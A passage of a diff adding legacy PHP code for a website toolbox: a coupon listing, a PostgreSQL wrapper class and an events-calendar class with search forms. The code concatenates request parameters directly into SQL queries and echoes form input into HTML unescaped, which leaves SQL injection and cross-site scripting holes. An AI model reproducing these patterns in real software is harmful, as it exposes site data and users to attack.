+ $cat = $val['category'];
+ if($count%2 == 0)
+ {
+ $align = "left";
+ }
+ else
+ {
+ $align = "right";
+ }
+ $form_header .= "\nif(coupon.coupon_".$val['id'].".checked){
+ checkcount++;
+ }\n";
+ $image = ( $val['image'] != '' ) ? '<img src="'.RESIZED.$val['image'].'" /><br />' : '';
+ $out .= '<div class="couponblock">
+ <strong>'.$val["title"].'</strong>
+ '.$image.'
+ ';
+ $out .= ''.$val["description"].'<br>';
+ if($val["url"])
+ {
+ $out .= '<a href="http://'.$val["url"].'" target="_blank">http://'.$val["url"].'</a>';
+ }
+ $out .= '
+ <input type="checkbox" name="coupon_'.$val["id"].'" value="T"> ';
+ $out .= '<div class="expire_date">Expires: '.date("n/j/Y",$val["expire"]).'</div>';
+ $out .= '</div>';
+
+ //if($count%2 != 0)
+ //{
+ $out .= '<div class="clearer"></div>';
+ // }
+
+ $count++;
+ //$out .= '</div>';
+ }
+ $out .= '</div>';
+ $form_header .= '
+ if(allcats.value == 0)
+ {
+ if(checkcount == 0)
+ {
+ alert(\'You must select a coupon for printing!\');
+ return(false);
+ }
+ else
+ return(createTarget(this.target));
+ }
+ else
+ return(createTarget(this.target));
+ " target="formtarget">';
+ $out .= ' <script type="text/javascript">
+ function createTarget(t)
+ {
+ window.open("", t, "width=600,height=550,resizable=yes");
+ return true;
+ }
+ function allcat(Mvalue)
+ {
+ document.coupon.allcats.value = Mvalue;
+ }
+ </script>
+ <div>
+ <input type="hidden" name="allcats" value="0">
+ <input type="hidden" name="coupons_catid" value="'.$this->catid.'">
+ <input type="submit" class="couponprint" value="Print all coupons" onClick="allcat(\'1\')">
+ <input type="submit" class="couponprint" value="Print selected coupons" onClick="allcat(\'0\')">
+ </div>
+ </form> ';
+ echo $form_header;
+ echo $out;
+ }
+ //return( $out );
+ }
+ }
+?>
--- /dev/null
+<?php
+/**
+ * Toolbox Classes :)
+ *
+ * <p>
+ * Database abstraction layer for postgres (mainly)
+ * Database abstraction layer for postgres (mainly)
+ * </p>
+ *
+ * @package Toolbox Library
+ * @subpackage Database Library
+ * @filesource
+ *
+*/
+/**
+ * Database Class :)
+ *
+ * <p>
+ * $Id: class_db.inc,v 1.3 2011/04/28 14:49:54 matrix Exp $
+ * </p>
+ * <p>Database abstraction layer for postgres
+ * </p>
+ *
+ * @package Toolbox Library
+ * @subpackage Database Library
+ * @author $Author: matrix $
+ * @copyright 2005
+ * @version $Revision: 1.3 $
+ * @since $Date: 2011/04/28 14:49:54 $
+ * @todo create mysql part of these function for abstraction also
+ *
+
+*/
+class GLM_DB
+ {
+ /**
+ * host
+ * string host database host server name
+ *
+ * @var mixed
+ * @access public
+ */
+ var $host;
+ /**
+ * dbname
+ * string dbname name of the database
+ *
+ * @var mixed
+ * @access public
+ */
+ var $dbname;
+ /**
+ * user
+ * string user The user to connect as
+ *
+ * @var mixed
+ * @access public
+ */
+ var $user;
+ /**
+ * password
+ * string password The users password if any
+ *
+ * @var mixed
+ * @access public
+ */
+ var $password;
+ /**
+ * dbd
+ * string dbd Database connection result ID#
+ *
+ * @var mixed
+ * @access public
+ */
+ var $dbd;
+ /**
+ * conn
+ * string conn string postgres connection string default = CONN_STR
+ *
+ * @var mixed
+ * @access public
+ */
+ var $conn;
+ /**
+ * trans
+ * boolean trans bool if true a transaction is in process
+ *
+ * @var mixed
+ * @access public
+ */
+ var $trans;
+ /**
+ * Result
+ *
+ * @var mixed
+ * @access public
+ */
+ var $Result;
+
+ function GLM_DB( $conn = CONN_STR )
+ {
+ $this->host = "";
+ $this->dbname = "";
+ $this->user = "nobody";
+ $this->password = "";
+ $this->conn = $conn;
+ $this->trans = 0;
+ $this->dbd = "";
+ }
+
+ /**
+ * db_connect
+ *
+ * Creates a connection to database specified $conn_str,
+ * and returns a boolean for success.
+ *
+ * @uses GLM_DB::$dbd
+ * @uses GLM_DB::$conn
+ * @uses GLM_DB::$dbname
+ * @uses GLM_DB::$host
+ * @uses GLM_DB::$user
+ * @uses GLM_DB::$password
+ * {@source }
+ * @param conn_str Connect String
+ * @param fail_mode Failure Mode TRUE = Abort with HTML FALSE = Return with fail code
+ * @returns int
+ * @access public
+ */
+
+ function db_connect()
+ {
+ if( isset( $this->dbd ) && $this->dbd != "" )
+ {
+ return( $this->dbd );
+ }
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ if( $this->host == "" && $this->dbname == "" )
+ {
+ $conn = $this->conn;// CONN_STR;
+ }
+ else
+ {
+ $conn .= ( $this->host ) ? 'host='.$this->host.' ' : '';
+ $conn .= ( $this->dbname ) ? 'dbname='.$this->dbname.' ' : '';
+ $conn .= ( $this->user ) ? 'user='.$this->user." " : '';
+ $conn .= ( $this->password ) ? "password=".$this->password : '';
+ }
+ if( !$this->dbd = pg_connect( $conn ) )
+ {
+ echo pg_errormessage( $conn );
+ }
+ break;
+
+ default:
+ return( 0 );
+ break;
+ }
+ return( $this->dbd );
+ }
+
+ /** db_close
+ *
+ * Closes the connection to database specified by the handle dbd
+ * returns a boolean for success
+ *
+ * {@source }
+ * @returns bool - Returns 1 on success 0 if dbd is not a valid connection
+ * @access public
+ */
+
+ function db_close()
+ {
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ @pg_close($this->dbd);
+ break;
+ default:
+ return(0);
+ }
+ }
+
+ /** db_exec
+ *
+ * Execute an SQL query, * returning a valid result index or zero(0) on
+ * failure.
+ *
+ * {@source }
+ * @param $qs -- SQL query string
+ * @returns int Returns a valid result index on success 0 on failure
+ * @access public
+ */
+ function db_exec( $qs )
+ {
+ if( !$this->dbd )
+ {
+ $this->dbd = $this->db_connect();
+ }
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ if(!$ret = pg_exec( $this->dbd, $qs ) )
+ echo "<font color=red>".$qs."</font>";
+ break;
+ default:
+ return( 0 );
+ }
+ return( $ret );
+ }
+
+ /** db_fetch_array
+ *
+ * Stores the data in associative indices, using the field names as
+ * keys.
+ *
+ * {@source }
+ * @param $res -- valid database result index
+ * @param $i -- row number
+ * @param $type -- PGSQL_ASSOC,PGSQL_BOTH,PGSQL_NUM
+ * @returns array Returns an associative array of key-value pairs
+ * @access public
+ */
+
+ function db_fetch_array( $res, $i, $type )
+ {
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ $row = pg_fetch_array( $res, $i, $type );
+ break;
+
+ default:
+ return( 0 );
+ }
+ return( $row );
+ }
+
+ /** db_freeresult
+ *
+ * Free result memory.
+ *
+ * {@source }
+ * @param $res -- valid database result index
+ * @returns bool - Returns 1 for success 0 for failure
+ * @access public
+ */
+
+ function db_freeresult( $res )
+ {
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_freeresult( $res );
+ break;
+
+ default:
+ return( 0 );
+ }
+ return( $ret );
+ }
+
+ /** db_numrows
+ *
+ * Determine number of rows in a result index
+ *
+ * {@source }
+ * @param $res -- valid database result index
+ * @returns int - Returns number of rows
+ * @access public
+ */
+
+ function db_numrows( $res )
+ {
+
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_numrows( $res );
+ break;
+
+ default:
+ return( -1 );
+ }
+ return( $ret );
+ }
+ /** db_auto_get_array
+ *
+ * The auto function for retrieving an array based soley on a query
+ * string. This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns the array
+ *
+ * {@source }
+ * @param $qs SQL query string
+ * @param $i row number
+ * @param $type PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+ * @returns array - Returns an associative array of key-value pairs
+ * @access public
+ */
+
+ function db_auto_array( $qs, $i, $type )
+ {
+
+ $dbd = $this->db_connect();
+ if( !$dbd )
+ {
+ return( 0 );
+ }
+ $res = db_exec( $dbd, $qs );
+ if( !$res || db_numrows( $res ) == 0 )
+ {
+ return( 0 );
+ }
+
+ $row = db_fetch_array( $res, $i, $type );
+
+ if(!db_freeresult( $res ) )
+ {
+ return( 0 );
+ }
+
+ return( $row );
+ }
+
+ /** db_auto_exec
+ *
+ * The auto function for executing a query.
+ * This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns success (not a valid result index)
+ *
+ * {@source }
+ * @param $qs SQL query string
+ * @returns int - Returns 1 for success 0 for failure
+ * @access public
+ */
+
+ function db_auto_exec( $qs )
+ {
+ $this->db_connect();
+ if( !$this->dbd )
+ {
+ return( 0 );
+ }
+ if( !$this->db_exec( $qs ) )
+ {
+ return( 0 );
+ }
+ else
+ {
+ return( 1 );
+ }
+ }
+ /** db_auto_get_data
+ *
+ * <p>The auto function for retrieving an array based soley on a query
+ * string. This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns the array.</p>
+ *
+ * {@source }
+ * @param string $qs SQL query string
+ * @returns mixed
+ * @access public
+ */
+
+ function db_auto_get_data( $qs )
+ {
+ if( !$this->dbd )
+ {
+ $this->db_connect();
+ }
+ if( !( $res = $this->db_exec( $qs ) ) )
+ {
+ return( FALSE );
+ }
+ $totalrows = pg_NumRows( $res );
+ for( $i = 0 ; $i < $totalrows ; $i++ )
+ {
+ $data[$i] = $this->db_fetch_array ($res, $i, PGSQL_ASSOC );
+ }
+ if( isset( $data ) && $data != "" )
+ {
+ return( $data );
+ }
+ else
+ {
+ return( 0 );
+ }
+ }
+
+ /** trans_start
+ *
+ * Start a postgres transaction
+ *
+ * {@source }
+ * @returns bool true if sucessful
+ * @access public
+ */
+ function trans_start()
+ {
+ if( !$this->trans )
+ {
+ if( !$this->dbd = $this->db_connect() )
+ {
+ $this->trans = false;
+ return( false );
+ }
+ else
+ {
+ $this->db_exec( "BEGIN WORK;" );
+ $this->trans = true;
+ return( true );
+ }
+ }
+ else
+ {
+ return( true );
+ }
+ }
+
+ /** trans_end
+ *
+ * Commit the postgres transaction
+ *
+ * {@source }
+ * @returns bool true if successful
+ * @access public
+ */
+ function trans_end()
+ {
+ if( !$this->trans )
+ {
+ if(!$this->db_exec( "COMMIT WORK;" ) )
+ {
+ return( false );
+ }
+ else
+ return( true );
+ }
+ else
+ return( false );
+ }
+ /** trans_exec
+ *
+ * exec a postgres query in a
+ * postgres transaction
+ *
+ * {@source }
+ * @param string query
+ * @access public
+ */
+ function trans_exec( $query )
+ {
+ if( $query != "" )
+ {
+ if(!$ret = $this->db_exec( $query ) )
+ {
+ $this->db_exec( "ABORT WORK;" );
+ return( false );
+ }
+ else
+ {
+ return( $ret );
+ }
+ }
+ else
+ {
+ return( false );
+ }
+ }
+ }
+?>
--- /dev/null
+<?php
+/**
+ *
+ * Library for the generation of the detail events
+ *
+ * <p>USAGE: to build an event calendar create the events class. thats it. <br>Pass it second param of 'Flat' to change to flat layout.</p>
+ *
+ * @package Toolbox
+ * @subpackage Event
+ * @filesource
+ */
+/**
+ * Require DocBlock
+ */
+require_once(BASE.'classes/class_db.inc');
+/**
+ * Require DocBlock
+ */
+require_once(BASE.'classes/class_template.inc');
+/**
+ *
+ * Library for the generation of the detail events
+ *
+ * <p>USAGE: to build an event calendar create the events class. thats it. <br>Pass it second param of 'Flat' to change to flat layout.</p>
+ * <code>
+ * $Cal =& new GLM_EVENTS();
+ * </code>
+ *
+ * @package Toolbox
+ * @subpackage Event
+ * @category Events
+ * @author Steve Sutton
+ * @version $Revision: 1.1.1.1 $
+ * @since $Date: 2006/05/01 16:46:16 $
+ */
+class GLM_EVENTS extends GLM_TEMPLATE{
+ /**
+ * @access public
+ * @var integer
+ */
+ var $topicid;
+ /**#@+
+ * @access public
+ * @var string
+ */
+ var $page_name;
+ /**
+ * Type of display flat or calendar based on weather or not a topicid exists.
+ */
+ var $display_type;
+ /**#@-*/
+
+ /**#@+
+ * @access public
+ * @return void
+ */
+ function GLM_EVENTS()
+ {
+ parent::GLM_TEMPLATE( $GLOBALS['catid'] );
+ $this->topicid = $GLOBALS['topicid'];
+ $this->page_name = BASE_URL.'events.phtml';//$GLOBALS['PHP_SELF'];
+ $this->display_type = $this->get_type(); // Calendar or Flat
+ $this->get_events();
+ }
+ function get_type()
+ {
+ if( ( $_POST['EventDateTo'] && $_POST['EventDateFrom'] ) )
+ {
+ if( strtotime( $_POST['EventDateTo'] ) == -1 )
+ {
+ return('Calendar');
+ }
+ elseif( strtotime( $_POST['EventDateFrom'] ) == -1 )
+ {
+ return('Calendar');
+ }
+ else
+ {
+ return('flat');
+ }
+ }
+ elseif( $_POST['topicid'] || $_GET['topicid'] || $_POST['topic']
+ || $_POST['topics_id'] || $_POST['EventName'])
+ {
+ return('flat');
+ }
+ else
+ {
+ return('Calendar');
+ }
+ }
+
+ // date helper funcs
+ function lastDayOfMonth($timestamp = '')
+ {
+ if($timestamp=='') $timestamp=time();
+ return( mktime(0,0,0, date("m",$timestamp)+1, 1, date("Y",$timestamp))-3600*24);
+ }
+ function show_print_link()
+ {
+ if(!ereg("printable.phtml",$GLOBALS["PHP_SELF"]))
+ {
+ $month = (int)substr($GLOBALS['month'],0,2);
+ $year = (int)substr($GLOBALS['month'],3,6);
+ $out = '<a href="#"
+ onClick="javascript:window.open(\''.URL_BASE.'printable.phtml?topic='.$GLOBALS["topic"].'&month='.$month.'&year='.$year.'&eventid='.$GLOBALS["eventid"].'\',\'print\',\'width=630,height=646,scrollbars=yes,toolbar=no,resizable=yes\')"><img border="0" src="'.URL_BASE.'assets/small_printer_icon.gif"></a>';
+ }
+ else
+ {
+ $out = '';
+ }
+ return( $out );
+ }
+ function firstDayOfMonth($timestamp='')
+ {
+ if($timestamp=='') $timestamp=time();
+ return(mktime(0,0,0, date("m",$timestamp), 1, date("Y",$timestamp)));
+ }
+
+ // end date helper
+
+ /**
+ * @uses DB::db_auto_get_data()
+ * @uses GLM_EVENT::firstDayOfMonth()
+ * @uses GLM_EVENT::lastDayOfMonth()
+ */
+ function get_by_topic($topic)
+ {
+ // method fetches events based on topic id
+
+ if(!$year)
+ {
+ $year = date("Y");
+ }
+ if(!$month || $month == "All")
+ {
+ $month = date("n");
+ }
+ if(ereg("^0([0-9]).*",$month,$part))
+ $month = $part[1];
+ $st = mktime(0,0,0,$month,1,$year);
+ $starting = date("m-d-Y",$this->firstDayOfMonth($st));
+ $ending = date("m-d-Y",$this->lastDayOfMonth($st));
+
+ $query = "SET DATESTYLE TO 'SQL,US';
+ SELECT id,header,
+ date_part('month',bdate) as mon,
+ date_part('day',bdate) as day,
+ date_part('year',bdate) as yr,
+ date_part('month',edate) as mon2,
+ date_part('day',edate) as day2,
+ date_part('year',edate) as yr2,
+ bdate as sdate, edate as edate,
+ btime,etime,descr,loc,contact,email,url,img,daysow,reacur
+ FROM event
+ WHERE visable = 't'";
+
+ $topqs=" AND topicid = $topic ";
+
+ if($topic!='All')
+ {
+ $query.=$topqs;
+ }
+ //$query .= "AND bdate <= '$ending' AND edate >= '$starting' ";
+ $query .= "ORDER BY bdate DESC,btime ASC";
+ $events_data = $this->DB->db_auto_get_data($query);
+ return $events_data;
+ }
+
+ /**
+ * get_event_search
+ *
+ * @uses PGSQL_ASSOC
+ * @uses GLM_EVENT::$page_name
+ * @uses calendar()
+ * @uses DB::db_auto_get_data()
+ * @uses DB::db_exec()
+ * @return string
+ **/
+ function get_event_search( $cal = 0 )
+ {
+ $out = '';
+
+ unset($emonths);
+ $month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+
+ // Set up the $selection array to get a query box use only item fields
+ $selection = array( );
+
+ // Month part do not change
+ $qs = "SELECT bdate,date_part('month', bdate) as d1_month,
+ date_part('month', edate) as d2_month,
+ date_part('year', bdate) as d1_year,
+ date_part('year', edate) as d2_year
+ FROM event
+ WHERE edate >= CURRENT_DATE
+ AND visable = 't'
+ ORDER BY bdate ASC;";
+
+ $result = $this->DB->db_exec($qs);
+
+ $page = BASE_URL.'events.phtml';
+
+ for($i=0;$i<pg_numrows($result);$i++)
+ {
+ $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC);
+ $s_month = $data['d1_month'];
+ $s_year = $data['d1_year'];
+ $e_month = $data['d2_month'];
+ $e_year = $data['d2_year'];
+
+ $watchdog = 20;
+ for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; )
+ {
+ if( $m == 13 )
+ {
+ $y++;
+ $m = 1;
+ }
+
+ $emonth = sprintf( "%02d %04d", $m, $y );
+ if( !isset($emonths["$emonth"]) )
+ {
+ $emonths["$emonth"] = 0;
+ }
+ $emonths["$emonth"]++;
+
+ if( $watchdog-- == 0 )
+ {
+ break 1;
+ }
+ $m++;
+ }
+ }
+
+ // Selections part
+ while( list($key,$value) = each($selection))
+ {
+ $qs = "SELECT
+ DISTINCT $key
+ FROM event
+ WHERE visable = 't'
+ AND edate >= CURRENT_DATE
+ ORDER BY $key;";
+
+ $result = $this->DB->db_exec($qs);
+
+ $out .= "<select name=\"$key\">";
+
+ for ($i=0;$i<pg_numrows($result);++$i)
+ {
+ $data = pg_result($result,$i,$key);
+ if($data != "")
+ {
+ $out .= "<option value=\"$data\">$data\n";
+ }
+ }
+
+ $out .= "</select>\n";
+ }
+ $out .= '<a name="event"></a>';
+ // topic search part
+ $qs = "select distinct on (descr) id,descr,topiccolor
+ from topic
+ where id in ( select topicid from event where visable = 't' )
+ order by descr;";
+ if( $result = $this->DB->db_auto_get_data($qs) )
+ {
+ $out .= '<div class="clearer"></div><div id="topicsearch">';
+ foreach( $result as $tkey => $trow )
+ {
+ $out .= '<div class="topicsearchrow"><div class="'.discolor($trow['topiccolor']).' topicsearchheader"> </div>
+ <a href="'.BASE_URL.'events.phtml?topicid='.$trow['id'].'">'.$trow['descr'].'</a></div>';
+ }
+ $out .= '</div>';
+ }
+ $month_qs = "SELECT
+ DISTINCT bdate
+ FROM event
+ WHERE visable = 't'
+ AND edate >= CURRENT_DATE
+ ORDER BY bdate;";
+
+ $result = $this->DB->db_exec($month_qs);
+ if( $_POST['month'] )
+ {
+ $month = (int)substr($_POST['month'],0,2);
+ $year = (int)substr($_POST['month'],3,6);
+ }
+ elseif( $_GET['month'] )
+ {
+ $month = (int)$_GET['month'];
+ $year = (int)$_GET['year'];
+ }
+ else
+ {
+ $month = (int)date("m");
+ $year = (int)date("Y");
+ }
+ $out .= '<div id="smallcals">';
+ if( $month - 1 < 1 )
+ {
+ $prev_month = 12;
+ $prev_year = $year - 1;
+ }
+ else
+ {
+ $prev_month = $month - 1;
+ $prev_year = $year;
+ }
+ if( $month + 1 > 12 )
+ {
+ $next_month = 1;
+ $next_year = $year + 1;
+ }
+ else
+ {
+ $next_month = $month + 1;
+ $next_year = $year;
+ }
+ $out .= calendar($prev_month,$prev_year,1,$this->page_name.'?catid=24&event=1&month=',$this->page_name.'?catid=24&event=1&eventid=1&month='.$month,$newdata);
+ $out .= calendar($month,$year,1,$this->page_name.'?catid=24&event=1&month=',$this->page_name.'?catid=24&event=1&eventid=1&month='.$month,$newdata);
+ $out .= calendar($next_month,$next_year,1,$this->page_name.'?catid=24&event=1&month=',$this->page_name.'?catid=24&event=1&eventid=1&month='.$month,$newdata);
+ $out .= '</div>';
+ $out .= '<div id="monthsearch">
+ <form action="'.$page.'#event" method="POST">';
+ $out .= "By Month: <select name=\"month\">";
+ //$out .= '<option value="">Show All Month</option>';
+ if(isset($emonths) && is_array($emonths))
+ {
+ for(reset($emonths);$key=key($emonths);next($emonths))
+ {
+ $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+ $now = mktime(0,0,0,date("m"),1,date("Y"));
+ if($date>=$now)
+ {
+ $out .= "<option value=\"$key\">";
+ $m = substr( $key, 0, 2 );
+ $out .= $month_id[$m-1]." ".substr($key,3,4)."\n";
+ }
+ }
+ }
+ $out .= '</select>';
+ $out .= '<input type="SUBMIT" value="GO" name="SUBMIT">';
+ $out .= '<a href="'.BASE_URL.'events.phtml?advance=1">Advanced Search</a>';
+ $out .= '</form><div class="clearer"></div></div>';
+ return( $out );
+ }
+
+ /**
+ * advanced_search
+ *
+ * <p>Show an advanced search form</p>
+ *
+ * @uses DB::db_auto_get_data()
+ * @return string
+ */
+ function advanced_search()
+ {
+ $out = '';
+ $out .= $this->get_event_search(1);
+ $out .= '
+ <h4>Advanced Search Option:</h4>
+ <form action="'.BASE_URL.'events.phtml" method="post">
+ <table id="event-advanced-search">
+ <tr>
+ <td>Search For:</td>
+ <td>
+ <input name="EventName" value="'.$_POST['EventName'].'">
+ </td>
+ </tr>
+ <tr>
+ <td>Search By Topic:</td>
+ <td>
+ ';
+ $query = "select id,descr from topic;";
+ if( $data = $this->DB->db_auto_get_data( $query ) )
+ {
+ foreach( $data as $key => $val )
+ {
+ $out .= '
+ <input type="checkbox" name="topics_id[]" id="chxbox_'.$val["id"].'" value="'.$val["id"].'">
+ <label for="chxbox_'.$val["id"].'">'.$val["descr"].'</label><br>
+ ';
+ }
+ }
+ $out .= '
+ </td>
+ </tr>
+ <tr>
+ <td>From:</td>
+ <td>
+ <input name="EventDateFrom" value="'.$_POST['EventDateFrom'].'"> (MM/DD/YYYY)
+ </td>
+ </tr>
+ <tr>
+ <td>To:</td>
+ <td>
+ <input name="EventDateTo" value="'.$_POST['EventDateTo'].'"> (MM/DD/YYYY)
+ </td>
+ </tr>
+ <tr>
+ <td colspan="2" align="right"><input type="submit" value="Search"></td>
+ </tr>
+ </table>
+ </form>';
+ return( $out );
+ }
+
+ /**
+ * get_events:
+ * @param $type:
+ * @uses BASE
+ * @uses GLM_EVENT::get_event_search()
+ * @uses GLM_EVENT::make_events()
+ * @uses GLM_EVENT::$display_type
+ * @uses DB::db_auto_get_data()
+ * @uses calendar()
+ **/
+ function get_events()
+ {
+ if( $_GET['advance'] == 1 )
+ {
+ require_once(BASE."classes/glm-Events-calendar-2-0.phtml");
+ $out = $this->advanced_search();
+ echo $out;
+ return( false );
+ }
+ $out = '';
+ if( $_POST['month'] )
+ {
+ $month = (int)substr($_POST['month'],0,2);
+ $year = (int)substr($_POST['month'],3,6);
+ }
+ elseif( $_GET['month'] )
+ {
+ $month = (int)$_GET['month'];
+ $year = (int)$_GET['year'];
+ }
+ else
+ {
+ $month = (int)date("m");
+ $year = (int)date("Y");
+ }
+ $GLOBALS['month'] = $month;
+ $GLOBALS['year'] = $year;
+
+ if( $_GET['flat'] == 1 && $_GET['day'] && $_GET['month'] && $_GET['year'])
+ {
+ require_once(BASE."classes/glm-Events-calendar-2-0.phtml");
+ $out .= $this->get_event_search(1);
+ $mydate = date("m-d-Y",mktime(0,0,1,$_GET['month'],$_GET['day'],$_GET['year']));
+ $myDayOw = date("w",mktime(0,0,1,$_GET['month'],$_GET['day'],$_GET['year']));
+ switch( $myDayOw )
+ {
+ case 1:
+ $myDayOw = 1;
+ break;
+ case 2:
+ $myDayOw = 2;
+ break;
+ case 3:
+ $myDayOw = 4;
+ break;
+ case 4:
+ $myDayOw = 8;
+ break;
+ case 5:
+ $myDayOw = 16;
+ break;
+ case 6:
+ $myDayOw = 32;
+ break;
+ case 7:
+ $myDayOw = 64;
+ break;
+ }
+ $myDayOw = $myDayOw << 1;
+ $qs="set datestyle to 'sql,us';";
+ $qs.= "select e.*,t.descr as topicname FROM event e left outer join topic t on ( e.topicid = t.id )
+ where ( reacur != 't'
+ and e.visable = 't'
+ and e.edate >= '$mydate'
+ and e.bdate <= '$mydate')
+ or (reacur = 't'
+ and e.visable = 't'
+ and e.edate >= '$mydate'
+ and e.bdate <= '$mydate'
+ and e.daysow & $myDayOw = $myDayOw
+ );";
+ $row=$this->DB->db_auto_get_data($qs);
+ $out .= $this->make_events($row);
+ }
+ elseif( $this->display_type == "Calendar" )
+ {
+ require_once(BASE."classes/glm-Events-calendar-2-0.phtml");
+ if(!$GLOBALS["eventid"])
+ {
+ $out .= $this->get_event_search(1);
+ //$out .= '<br clear="all">';
+ $out .= ''."\n";
+ $out .= calendar($month,$year,2,$this->page_name.'?catid=24&event=1&month=',$this->page_name.'?catid=24&event=1&eventid=1&month='.$month,$newdata);
+
+ }
+ else
+ {
+ // include("classes/glm-Events-2-0.phtml");
+ $qs="SET DATESTYLE TO 'SQL,US';SELECT event.*,topic.descr as topicname FROM event left outer join topic on ( topic.id = event.topicid ) WHERE event.id = ".$GLOBALS["eventid"];
+
+ $row=$this->DB->db_auto_get_data($qs);
+ $out .= $this->get_event_search(1);
+ $out .= $this->make_events($row);
+ $out .= '<div class="clearer"></div>'."\n";
+ $out .= calendar($month,$year,2,$this->page_name.'?catid='.$GLOBALS["catid"].'&event=1&month=',$this->page_name.'?catid=24&eventid=1&month='.$month,$newdata);
+ // $out .= '<div align="center"><a href="./">Back to Calendar</a></div>';
+ }
+ }
+ else
+ {
+ require_once(BASE."classes/glm-Events-calendar-2-0.phtml");
+ $noSearch = true;
+ $searching = '';
+ $out .= $this->get_event_search(1);
+ $qs="SET DATESTYLE TO 'SQL,US';";
+ $qs.="SELECT e.*,t.descr as topicname FROM event e left outer join topic t on ( e.topicid = t.id ) where e.visable = 't'";
+ if( isset( $_GET['topicid'] ) && $_GET['topicid'] != 'All' )
+ {
+ $noSearch = false;
+ $query = "select descr from topic where id = ".$_GET['topicid'];
+ $row2=$this->DB->db_auto_get_data($query);
+ $qs .= " and e.topicid = ".$_GET['topicid'];
+ $searching .= 'Showing all '.$row2[0]['descr'].'';
+ }
+ if( is_array( $_POST['topics_id'] ) || $_POST['EventName'] )
+ {
+ $noSearch = false;
+ if( $_POST['EventName'] != '' )
+ {
+ $qs .= " and ( e.header ilike '%".$_POST['EventName']."%'";
+ $qs .= " or e.descr ilike '%".$_POST['EventName']."%' )";
+ $searching .= 'Searching for "'.$_POST['EventName'].'" ';
+ }
+ else
+ {
+ $searching .= 'Searching for anything ';
+ }
+ //$qs = "SET DATESTYLE TO 'SQL,US';SELECT * FROM event where visable = 't'";
+ if( is_array( $_POST['topics_id'] ) && count( $_POST['topics_id'] ) > 0 )
+ {
+ $topics_list = implode( ",",$_POST['topics_id'] );
+ $qs .= " and e.topicid in ( $topics_list )";
+ $query = "select descr from topic where id in ( $topics_list )";
+ $order_by = "t.descr,";
+ if( $row2=$this->DB->db_auto_get_data($query) )
+ {
+ foreach( $row2 as $k => $v )
+ {
+ $tps[] = $v['descr'];
+ }
+ }
+ if( is_array( $tps ) )
+ {
+ $searching .= 'in '.implode(', ',$tps).' ';
+ }
+ }
+ }
+ if( $_POST['EventDateTo'] && $_POST['EventDateFrom']
+ && ( strtotime( $_POST['EventDateFrom'] ) != -1 )
+ && ( strtotime( $_POST['EventDateTo'] ) != -1 )
+ )
+ {
+ $noSearch = false;
+ if( $_POST['EventName'] == '' && $searching == '' )
+ {
+ $searching .= 'Searching for anything ';
+ }
+ $begin_time = date('n/j/Y',strtotime( $_POST['EventDateFrom'] ) );
+ $end_time = date('n/j/Y',strtotime( $_POST['EventDateTo'] ) );
+ $qs .= " and e.bdate <= '$end_time' and e.edate >= '$begin_time'";
+ $searching .= ' between '.$begin_time.' and '.$end_time;
+ }
+ if( $noSearch )
+ {
+ $qs="SET DATESTYLE TO 'SQL,US';SELECT * FROM event where visable = 't' and edate >= current_date order by e.bdate,e.edate;";
+ }
+ else
+ {
+ $qs .= ' order by '.$order_by.'e.bdate,e.edate';
+ }
+ $row=$this->DB->db_auto_get_data($qs);
+ //$out .= '<!-- '.$qs.' -->';
+ if( $searching )
+ {
+ $out .= '<div id="searching"><h4>'.$searching.'</h4>';
+ $out .= '</div>';
+ }
+ $out .= $this->make_events($row);
+ }
+ echo $out;
+ }
+ /**
+ * make_events:
+ * @uses ORIGINAL_PATH
+ * @uses BASE_URL
+ * @uses MIDSIZED
+ * @uses THUMB
+ * @uses GLM_TEMPLATE::get_event_date()
+ * @uses GLM_EVENT::format_to_time()
+ * @uses GLM_EVENT::keyword_replace()
+ * @param array $row The data array.
+ * @return string
+ **/
+ function make_events($row)
+ {
+ //$event='<br>'."\n";
+ $event='<div class="eventcontainer">'."\n";
+ for($i=0;$i<sizeof($row);$i++)
+ {
+ // Header
+ $event.="<div class=\"eventheader\">".$row[$i]['header']."</div>";
+
+ // Topic
+ $event.="<div class=\"eventdate\">Topic: ".$row[$i]['topicname']."</div>";
+
+ // Date
+ if( $row[$i]['bdate'] != '' )
+ {
+ $event.='<div><span class="eventdate">';
+ $sdate = strtotime($row[$i]["bdate"]);
+ $edate = strtotime($row[$i]["edate"]);
+ $thedate = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+ $event.=$thedate;
+ $event.="</span></div>\n";
+ }
+
+ // time
+ $days[1] = "Sun. ";
+ $days[2] = "Mon. ";
+ $days[4] = "Tue. ";
+ $days[8] = "Wed. ";
+ $days[16] = "Thu. ";
+ $days[32] = "Fri. ";
+ $days[64] = "Sat. ";
+ $reacur = '';
+ if( $row[$i]['reacur'] == 't')
+ {
+ $reacur = '';
+ if($row[$i]["weekom"])
+ {
+ switch($row[$i]["weekom"])
+ {
+ case 1:
+ $reacur .= "1st ";
+ break;
+
+ case 2:
+ $reacur .= "2nd ";
+ break;
+
+ case 3:
+ $reacur .= "3rd ";
+ break;
+
+ case 4:
+ $reacur .= "4th ";
+ break;
+
+ }
+ }
+ if( $row[$i]['daysow'])
+ {
+ $ri = 1;
+ for($r=1;$r<8;$r++)
+ {
+ if($row[$i]["daysow"]&$ri)
+ $reacur .= $days[$ri];
+ $ri = $ri << 1;
+ }
+ }
+ $event.='('.$reacur.')<br>';
+ }
+ else
+ {
+ $reacur = '';
+ }
+ if($row[$i]['btime'])
+ {
+ if($row[$i]['btime'] && $row[$i]['etime'])
+ {
+ $time = "".$this->format_to_time($row[$i]['btime'])." to ".$this->format_to_time($row[$i]['etime'])."<br>";
+ }
+ elseif($row[$i]['btime'] && !$row[$i]['etime'])
+ {
